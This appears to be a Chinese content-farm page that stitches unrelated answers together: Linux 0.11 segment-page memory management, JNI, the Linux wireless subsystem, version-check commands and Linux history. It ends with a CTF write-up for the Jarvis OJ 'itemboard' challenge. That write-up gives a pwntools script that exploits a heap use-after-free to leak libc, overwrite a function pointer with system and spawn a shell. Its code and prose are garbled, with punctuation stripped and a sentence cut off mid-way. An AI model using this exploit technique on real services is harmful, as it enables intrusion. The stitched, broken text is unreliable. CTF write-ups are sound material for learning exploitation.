关于Linux-0.11内核_段页内存管理的问题

关于Linux-0.11内核_段页内存管理的问题,第1张

实际上,分段和分页在某种程度上有点沉余,因为它们都可以划分进程的物理地址空间:分段可以给每个进程分配不同的线性地址空间,而分页可以把同一线性地址空间映射到不同的物理空间。采用分页机制后,就没必要再将进程分配到不同的线性地址空间。但Linux-011版通过共享页目录和线性地址分段,利用了分段机制,即采用段页机制。099及以后的版本中不再共享页目录,不再对线性地址分段,使每个进程都拥有4GB线性空间,逻辑地址=线性地址,巧妙的“绕过了”分段机制,即采用分页机制。

Linux-011采用段页机制,具体如下:

内存物理地址0处开始放着一页页目录表和四页页表。这一个页目录表是所有进程共享的。其后的四页页表正好映射16M物理内存,是进程0的页表。以后创建进程时页表要从主内存区申请,而页目录项直接从页目录表中取。这样进程和页目录表页存在一一对应关系,任务号为nr的进程,对应页目录的第nr16 ~ (nr+1)16一共16个目录项。共有1K1K4K=4G的线性空间。这4G的线性空间由64个进程共享,通过对线性地址进行分段,每个进程都有64MB的线性空间,这样每个进程都会有16个连续的页目录项。

Java 本身不能直接调用 Linux 内核,但是可以通过 JNI(Java Native Interface)机制来实现。JNI 是 Java 与本地代码(C/C++ 代码)交互的一种机制,可以在 Java 中调用 C/C++ 编写的函数和库,从而实现对 Linux 内核的调用。

一般来说,JNI 的使用流程如下:

1 编写 C/C++ 代码,实现需要调用的功能;

2 使用 JNI 提供的函数将 C/C++ 代码编译成动态链接库(so 文件);

3 在 Java 代码中声明 native 方法,并使用 SystemloadLibrary() 加载动态链接库;

4 在 Java 代码中调用 native 方法,实现对 C/C++ 代码的调用。

需要注意的是,JNI 调用本地代码需要使用一些特殊的数据类型和语法,需要对 C/C++ 代码和 Java 代码都比较熟悉,因此使用 JNI 调用 Linux 内核需要具备一定的技术水平。

正如图中看到的一样,存在着两种WiFi设备,具体是哪一类要看IEEE80211标准的MLME如何实现。

如果直接通过硬件实现,那么设备就是硬MAC(fullMAC)设备;如果通过软件的方式实现,那么设备就是软MAC(softMAC)设备。现阶段大部分无线设备都是软件实现的软MAC设备。

通常我们把Linux内核无线子系统看成两大块:cfg80211和mac80211,它们连通内核其他模块和用户空间的应用程序。

特别指出,cfg80211在内核空间提供配置管理服务,内核与应用层通过nl80211实现配置管理接口。需要记住的是,

硬MAC设备和软MAC设备都需要cfg80211才能工作。而mac80211只是一个驱动API,它只支持软件实现的软MAC设备。

接下来,我们主要关注软MAC设备。

Linux内核无线子系统统一各种WiFi设备,并处理OSI模型中最底层的MAC、PHY两层。

若进一步划分,MAC层可以分为MAC高层和MAC底层。前者负责管理MAC层无线网络的探测发现、身份认证、关联等;

后者实现MAC层如ACK等紧急 *** 作。大部分情况下,硬件(如无线适配器)处理大部分的PHY层以及MAC底层 *** 作。Linux子系统实现大部分的MAC高层回调函数。

2模块间接口

从图一中我们可以看出,各个模块之间分界线很清晰,并且模块间相互透明不可见。模块之间一般不会相互影响。

举个例子,我们在WiFi设备驱动做修改(如,打补丁、添加新的WiFi驱动等),这些变更并不会影响到mac80211模块,

所以我们根本不用改动mac80211的代码。再如,昆明北大青鸟>

根据我的了解,如果Linux应用层读取不到物理地址,原因可能是硬件设备不支持或者内核没有正确加载硬件模块。在这种情况下,建议你可以参考Linux内核文档来检查内核模块,并确认与硬件相关的驱动程序已正确加载。

有以下两者查看命令:

1、# cat /proc/version (Linux查看当前 *** 作系统版本信息)

Linux version 2420-8 (bhcompile@porkydevelredhatcom)

(gcc version 322 20030222 (Red Hat Linux 322-5)) #1 Thu Mar 13 17:54:28 EST 2003

2、# cat /etc/issue  或cat /etc/redhat-release(Linux查看版本当前 *** 作系统发行版信息)

Red Hat Linux release 9 (Shrike)

扩展资料:

Linux来历:

Linux是一个诞生于网络、成长于网络且成熟于网络的奇特的 *** 作系统。1991年,芬兰大学生Linus Torvalds萌发了开发一个自由的UNIX *** 作系统的想法,当年,Linux就诞生了,为了不让这个羽毛未丰的 *** 作系统夭折,Linus将自已的作品Linux通过Internet发布。

从此一大批知名的、不知名的电脑黑客、编程人员加入到开发过程中来,Linux逐渐成长起来。

Linux一开始是要求所有的源码必须公开,并且任何人均不得从Linux交易中获利。然而这种纯粹的自由软件的理想对于Linux的普及和发展是不利的,于是Linux开始转向GPL,成为GNU阵营中的主要一员。

Linux凭借优秀的设计,不凡的性能,加上IBM、INTEL、CA、CORE、ORACLE等国际知名企业的大力支持,市场份额逐步扩大,逐渐成为主流 *** 作系统之一。

Linux内核是根据GNU通用公共许可证(GNU General Public License)发布的。这是一种自由软件许可证,它确保用户可以自由使用、复制、修改和重新分发软件,同时也确保了代码的开放性和可访问性。根据该许可证,任何人都可以获得Linux内核的源代码,自由地使用和修改它,并将修改后的代码重新发布。此外,Linux内核还使用了许多其他自由软件许可证,如MIT许可证、Apache许可证等。这些许可证均强调了对软件的开放性和自由性的支持。

        linux中使用free()进行内存释放时,不大于 max_fast (默认值为 64B)的 chunk 被释放后,首先会被放到 fast bins中,大于max_fast的chunk或者fast bins 中的空闲 chunk 合并后会被放入unsorted bin中(参考glibc内存管理ptmalloc源码分析一文)

        而在fastbin为空时,unsortbin的fd和bk指向自身main_arena中,该地址的相对偏移值存放在libcso中,可以通过use after free后打印出main_arena的实际地址,结合偏移值从而得到libc的加载地址。

Jarvis OJ一道pwn题itemboard作为一个栗子。

新建item:

其中strcpy(item->description,buf)的时候存在一个栈溢出,可以实现任意地址写。

删除item:

查看set_null()实际上一个空函数,这里free之后没有把指针置空,可以通过uaf利用。

gdb-peda的checksec查了只有NX,但是实际调试发现有PIE。

max_fast的默认值是64Bytes,调试里发现global_max_fast的值是0x80,也就是说先malloc一个0x80的内存

malloc返回给用户的地址实际上是mem指向的位置

接着free()释放

其中用户输入的数据被写上了fd和bk,都指向main_arena中的位置。

由于free后未把指针置零,我们仍然可以选择show_item功能打印description位置的数据,此时将打印出指向main_arena中的指针:

main_arena的基址存放在libc中的malloc_trim()函数中:

该libc的main_arena偏移位0x397b00,从而计算得到libc基址。

接着利用uaf可以覆盖item->name,item->description和item->free,把item->free覆盖为system的地址,“/bin/sh”可以直接放在item起始位置,结尾处用“;”隔断,中间的description随意填充。

from pwn import

p=remote('pwn2jarvisojcom',9887)

e=ELF('/libc-219so')

def add(name,length,descript):

precvuntil('choose:')

psendline('1')

precvuntil('Item name')

psendline(name)

precvuntil("Description's len")

psendline(str(length))

precvuntil('Description')

psendline(descript)

precvuntil('Add Item Successfully!')

def showitem(index):

precvuntil('choose:')

psendline('3')

precvuntil('Which item')

psendline(str(index))

def remove(index):

precvuntil('choose:')

psendline('4')

precvuntil('Which item')

psendline(str(index))

add('A'30,0x80,'A'8)

add('B'30,0x80,'A'8)

remove(0)

showitem(0)

precvuntil('Description:')

arena_addr=u64(precv(6)ljust(8,'\x00'))-88

libc_base=arena_addr-0x3be760

system_addr=libc_base+esymbols['system']

print 'system address: ',hex(system_addr)

remove(1)

add('C'30,32,'CCCC')

add('D'30,32,'DDDD')

remove(2)

remove(3)

add('EEEE',24,'/bin/sh;'+'EEEEEEEE'+p64(system_addr))

remove(2)

pinteractive()

以上就是关于关于Linux-0.11内核_段页内存管理的问题全部的内容,包括:关于Linux-0.11内核_段页内存管理的问题、java调用linux内核、linux系统内核数据等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/web/9598705.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-30
下一篇 2023-04-30

发表评论

登录后才能评论

评论列表(0条)

保存